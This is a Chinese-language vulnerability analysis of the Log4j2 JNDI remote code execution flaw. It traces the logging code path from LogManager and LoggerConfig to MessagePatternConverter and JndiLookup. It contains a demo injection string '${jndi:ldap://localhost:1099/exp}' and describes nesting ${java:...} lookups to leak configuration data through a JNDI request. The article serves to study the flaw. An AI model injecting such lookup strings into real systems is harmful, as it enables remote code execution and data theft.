Log4j组件RCE分析

最近爆出了一个新的rce;有趣的是不是爆出如何,而是爆出之后的反复bypass;这篇文章就先来追踪一下漏洞原理;

问题出现在error处;会触发log4j2的错误处理流程打印异常日志;

来个demo;

1
2
3
4
5
6
7
8
9
10
11
12
import  org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class exploits {

private static final Logger logger = LogManager.getLogger(exploits.class);

public static void main(String[] args){
logger.error("${jndi:ldap://localhost:1099/exp}");

}
}

追踪个流程;

在log4j2中日志是存在相应级别;按照从低到高来分:

ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF。

  • ALL 最低等级的 用于打开所有日志记录
  • TRACE 较低的日志级别 一般不会使用
  • DEBUG 主要用于开发过程中打印 一些运行信息
  • INFO 突出强调应用程序的运行过程。打印一些你感兴趣的或者重要的信息 可用于生产环境中输出程序运行的一些重要信息,但是不能滥用 避免打印过多的日志
  • WARN 表明会出现潜在错误的情形 有些信息不是错误信息 但是也要给程序员的一些提示
  • ERROR 指出虽然发生错误事件 但仍然不影响系统的继续运行。打印错误和异常信息 如果不想输出太多日志 太多数情况下可以使用这个级别
  • FATAL 指出严重的错误事件,将会导致应用程序的退出。
  • OFF 最高等级的,用于关闭所有日志记录

相应的定义在StandardLevel枚举class中有以下自定义级别,intLevel 值越小,级别越高:

1
2
3
4
5
6
7
8
OFF(0),
FATAL(100),
ERROR(200),
WARN(300),
INFO(400),
DEBUG(500),
TRACE(600),
ALL(2147483647);

debug代码进入error方法处理;

oHGn8s.png

Level.ERROR返回的是个Level obj;简单看一下相应的静态域处理;

oHJFzR.png

不难理解是生成了相应的obj;然后给相应的域作值;利用最开始的日志处理选择obj,最后一起封装传入logIfEnabled方法去进行处理;这里也是一些敏感处理方法的一些处理措施;判断日志处理权限是否合适和一些日志是否输出;其内部实现机制是结合相应配置的filter进行判断;

oqLIJI.png

进入相应的filter看一波;

oqLxFs.png

不过这里是本地debug,没有在config中定义相应的filter;所以直接return;这里第二个条件有意思;看一下intLevel生成方式;

1
this.intLevel = this.loggerConfigLevel.intLevel();

不难发现是在相应的configlevel中进行获得;

Logger

说到这里有必要去理解一下logger的生成方式;其实内部的实现机制是根据getLogger方法传入的内容去LoggerRegistery中去find;如果没有找到就会去newInstance一个新的logger;然后将new的logger用putIfAbsent方法实现放到loggerRegistry中;newInstance内部实现机制是去实现了new Logger的操作;

1
2
3
protected Logger newInstance(final LoggerContext ctx, final String name, final MessageFactory messageFactory) {
return new Logger(ctx, name, messageFactory);
}

所以回归到intLevel的生成方式内;这里内部还有一个细节;本地测试能不能attack success;其实除了jdk的版本限制以外还有一个点;就是

1
return level != null && this.intLevel >= level.intLevel();

此逻辑位于logIfEnabled接口的isEnabled处理接口内;有趣的是上面也正是在介绍这个intLevel;

看一个关键的构造器;位于Logger.PrivateConfig class;

1
2
3
4
5
6
7
8
public PrivateConfig(final Configuration config, final Logger logger) {
this.config = config;
this.loggerConfig = config.getLoggerConfig(Logger.this.getName());
this.loggerConfigLevel = this.loggerConfig.getLevel();//有趣
this.intLevel = this.loggerConfigLevel.intLevel();
this.logger = logger;
this.requiresLocation = this.loggerConfig.requiresLocation();
}

里面详细的讲述了intLevel的来源;这个构造器的两个参数可自己追溯一下不是很难,一个是default的configuration,其实现是在当未给相应class定义logger的时候实现采用默认的loggerconfig的策略;另一个logger也是因为在利用getLogger方法去LoggerRegistery中没find到相应的logger从而最后本质是调用newInstance方法去new Logger而create的一个logger obj;其level取决于我们使用的处理接口;所以这里是可控的;简单来说,如果最开始使用的是logger.info();那么这里的logger就为默认处理INFO级别;但是相应的intLevel是不可控的;因为default config中就写死了error;至于为什么会如此调;上面已经说过;每个配置都有一个根记录器Root;在没有为相应的class去设置logger时,就会去默认使用rootlogger;所以其组件实现机制是直接去拿到root logger;并且默认用loggerconfig;其根logger的属性是ERROR级别;所以这里在没有给class配资相应的logger的情况下是默认处理error级别以上的日志;

下面是具体实现:

在我上面标出的有趣那一行,细致的debug之后会发现以下构造器;LoggerConfig.class

1
2
3
4
5
6
7
8
9
10
11
12
13
public LoggerConfig() {
this.logEventFactory = LOG_EVENT_FACTORY;
this.level = Level.ERROR;
this.name = "";
this.properties = null;
this.propertiesRequireLookup = false;
this.config = null;
this.reliabilityStrategy = new DefaultReliabilityStrategy(this);
}

public Level getLevel() {
return this.level == null ? (this.parent == null ? Level.ERROR : this.parent.getLevel()) : this.level;
}

其中已经默认写好了相应的default level为ERROR级别;下面利用getLevel方法触发之后会return ERROR;所以回到原本话题,intLevel是固定的200;也即是Level.ERROR.getintLevel()为200;所以默认处理的日志等级应该在error之上;

上面是对isEnabled接口中的处理流程和logger生成的一些思考;继续流程:

转回原本的流程追踪;在确实可以启用之后就会进行logMessage了;去将信息写入日志;

1
2
3
4
5
6
public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) {
if (this.isEnabled(level, marker, message, throwable)) {
this.logMessage(fqcn, level, marker, message, throwable);
}

}

具体实现是在logMessageSafely接口中;实现原理是实现递归的操作;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void logMessageSafely(final String fqcn, final Level level, final Marker marker, final Message message, final Throwable throwable) {
try {
this.logMessageTrackRecursion(fqcn, level, marker, message, throwable);
} finally {
ReusableMessageFactory.release(message);
}

}

private void logMessageTrackRecursion(final String fqcn, final Level level, final Marker marker, final Message message, final Throwable throwable) {
try {
incrementRecursionDepth();
this.tryLogMessage(fqcn, this.getLocation(fqcn), level, marker, message, throwable);
} finally {
decrementRecursionDepth();
}

}

跟进tryLogMessage;

ovsHW4.png

内部机制是去logger相应的config下拿到相应的打日志策略;因为最开始没有给相应类创建logger;导致newInstance创建了一个logger其相应的config也是默认的loggerconfig:“root”;所以这里的策略默认的DefaultReliabilityStrategy;跟着策略看一下其内部实现机制;

ovyRhD.png

发现是调用了config下的log去打印;由config来实现;

ov2ZvQ.png

去到config下实现的目的可以清晰的看到,先来进行判断是否允许远程lookup;当允许的时候就会直接进入else if下进行处理;利用for循环去lookup properties域内的值;如果相应的obj下设定需要lookup就会直接replace;在内部进行lookup实现;将结果放到props中;这里rootlogger默认为false;properties也默认为null;所以直接进入下一步

ovRTFx.png

构造log事件;按照判断的要求去factory中create出相应的event;接着就实现过一遍filter看一下是否filter中设定了相应不允许输出的东西在此过程中;accept or deny;当没有问题的时候,调用LoggerConfig.processLogEvent函数去处理event;调用Appender;Appender负责将日志事件传递到其目标。每个Appender都必须实现Appender接口。开始进行日志信息到最后文件的传输;

TSwwMn.png

Appender

常用的Appender有ConsoleAppender(输出到控制台)、FileAppender(输出到本地文件)等,通过AppenderControl获取具体的Appender,本次调试的是ConsoleAppender。

TSUsaD.png

因为是ConsoleAppender,所以这里去到AppenderControl class下的callAppender方法;有一个过滤;

ovoChn.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private boolean isFilteredByAppenderControl(final LogEvent event) {
Filter filter = this.getFilter();
return filter != null && Result.DENY == filter.filter(event);
}//如果有filter会进行filter再次对event进行filter;审查是否有禁止输出的点从而deny掉;

private boolean isFilteredByLevel(final LogEvent event) {
return this.level != null && this.intLevel < event.getLevel().intLevel();
}//level的判断,默认处理要处理比规定level高的日志信息;

private boolean isRecursiveCall() {
if (this.recursive.get() != null) {
this.appenderErrorHandlerMessage("Recursive call to appender ");
return true;
} else {
return false;
}
}

真正的实现是在callAppender0

ovo7bF.png

追踪流程到tryAppend中;判断是否直接启用格式化输出;这里启用。

Layout

看下相关代码流程:

TSDu24.png

1
2
3
4
5
6
7
8
protected void directEncodeEvent(final LogEvent event) {
this.getLayout().encode(event, this.manager);
if (this.immediateFlush || event.isEndOfBatch()) {
this.manager.flush();
}
}


首先获取Layout日志格式,通过Layout.encode()进行日志信息的格式化;格式化调用在toSerializable函数中调用formatters来进行format实现;

TSrEyd.png

整个格式化过程格式化完之后将其放入buffer中;buffer生成因为默认的递归深度为1;result为null;所以最后返回new一个1024大小的buffer;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected static StringBuilder getStringBuilder() {
if (AbstractLogger.getRecursionDepth() > 1) {
return new StringBuilder(1024);
} else {
StringBuilder result = (StringBuilder)threadLocal.get();
if (result == null) {
result = new StringBuilder(1024);
threadLocal.set(result);
}

trimToMaxSize(result);
result.setLength(0);
return result;
}
}

传入的message经过各种Converter进行处理,最后到处理主要信息message的时候去触发MessagePatternConverter.format处理,此处也是漏洞触发的关键点;

在放入buffer的处理流程中程序如果碰到了${}就会触发相应的解析,看一下解析点;

TS56nf.png

先创建一个workingBuilder;在利用formatTo将内容append到buffer之后会向后进程;将message放到buffer里,向下进行利用formatTo将${}append到buffer里;当noLookups为false的时候,会去触发workingBuilder.append()去调用Substitutor的replace进行替换原来的信息;

进入细致流程看一下;

TSofln.png

因为前缀是jndi;所以调用jndiLookup;

TST31s.png

这里进入最后的漏洞触发点;

TSTA1A.png

触发jndi注入;因为没有开server所以error了;2333

其实还有一个小trick,我14号调试的时候发现了,是一个敏感信息泄露的点;但是因为泄露的很少,又因为有了相关的jndi了;所以也就没有放,但今天19号我看到阿尔法实验室有篇文章是说了这个点,我也就顺带补一下这一段话吧;触发依然是在处理message的时候,可以在message中嵌套多个${};log4j2解析的时候会先解析内部的${};调用strsubstitutor结合replace处理,本质是调用了resolvervrious方法处理;内部resolver为Interpolater,有十种类型其中可以处理java协议开头,这也就导致了我们可拿到java的一些配值信息然后私带信息出去;这里设置java:XXX可以去到javaLookup下进行相关的解析,然后返回相关的信息之后再次jndi导致结果外带,这一点没必要有jndiserver;有点类似dnslog的打法;23333;

后记

漏洞的整体流程已经追踪完,但是还有一些细枝末节需要去注意;比如框架的整体运作流程和初始化的流程;以及各个组件之间的关联;我个人感觉需要去简单的过一遍;首先来看logger的生成;这个也是整个框架的启动入口点;

logger的生成其实已经在上述的追溯过程中简单的追溯思考过;这里更加细致的看一下流程;

LogManager组件启动流程解析:

TpfUIJ.png

可以很清晰的看到,在处理相关信息之前,需要先调用LogManager去调用其静态函数去进行logger的初始化;

LogManager启动的入口是下面的static代码块:

根据配置文件载入LoggerContextFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static {
PropertiesUtil managerProps = PropertiesUtil.getProperties();
//用PropertiesUtil工具类去获取相关的配置信息;


String factoryClassName = managerProps.getStringProperty("log4j2.loggerContextFactory");
if (factoryClassName != null) {
try {
factory = (LoggerContextFactory)LoaderUtil.newCheckedInstanceOf(factoryClassName, LoggerContextFactory.class);
} catch (ClassNotFoundException var8) {
LOGGER.error("Unable to locate configured LoggerContextFactory {}", factoryClassName);
} catch (Exception var9) {
LOGGER.error("Unable to create configured LoggerContextFactory {}", factoryClassName, var9);
}
}

追溯一下相关的流程;environment属性下调用get方法去获取相关的factory_name;

TpICef.png

追踪过去看一下:

TpIeln.png

可以看到environment class下调用PropertyFilePropertySource class去把相关的配置文件加载成一个java的obj;

看如下的class就已经很清晰了;加载配置文件到java对象的详细流程;

TpIwTO.png

回到原本的class中;

TpTMiF.png

之后从系统中去获取相关配置文件中规定的相关属性,如果为null;就用配置文件里的来进行set;更加细致的不再追溯;知道这段逻辑中,LogManager优先通过配置文件”log4j2.component.properties”通过配置项”log4j2.loggerContextFactory”来获取LoggerContextFactory,如果用户做了对应的配置,通过newCheckedInstanceOf方法实例化LoggerContextFactory的对象,最终的实现方式为:

1
2
3
4
5
6
7
8
public static <T> T newInstanceOf(final Class<T> clazz) throws InstantiationException, IllegalAccessException, InvocationTargetException {
try {
return clazz.getConstructor().newInstance();
} catch (NoSuchMethodException var2) {
return clazz.newInstance();
}
}

但是在默认情况下不存在初始的默认配置文件log4j2.component.properties,因此需要从其他途径获取LoggerContextFactory。

默认下已经调用envrionment下的get方法拿到的factoryClassName为null;接着看下其他处理策略;

通过provider实例化LoggerContextFactory对象

TpXy9K.png

当然这里代码写的很严谨,会先去判断ProviderUtil是否为null;如果是就直接进入第三种策略;相关判别代码如下:

1
2
3
4
5
6
//ProviderUtil.class
public static boolean hasProviders() {
lazyInit();
return !PROVIDERS.isEmpty();
}

因为这里介绍第二种策略,所以默认为不为null;进入第二种策略;先看部分代码;

TpXLuQ.png

调用ProviderUtil.getProviders载入providers;然后调用providers的loadLoggerContextFactory方法去载入LoggerContextFactory实现类;如果依然无法get到loggerContextfactory;

TpbNd0.png

则使用SimpleLoggerContextFactory作为LoggerContextFactory。

但是实际上已经配置了相关的provider;项目是直接从maven上down下来的;所以配置文件可能不同;我的版本也有点低;但是追踪下发现确实是实现了相关的配置;所以直接使用Log4jPrivider去进行loadLoggerContextFactory获得loggerContextfactory;

TpjxqH.png

最后LogManagerStatus.setInitialized(true);设置初始化完成;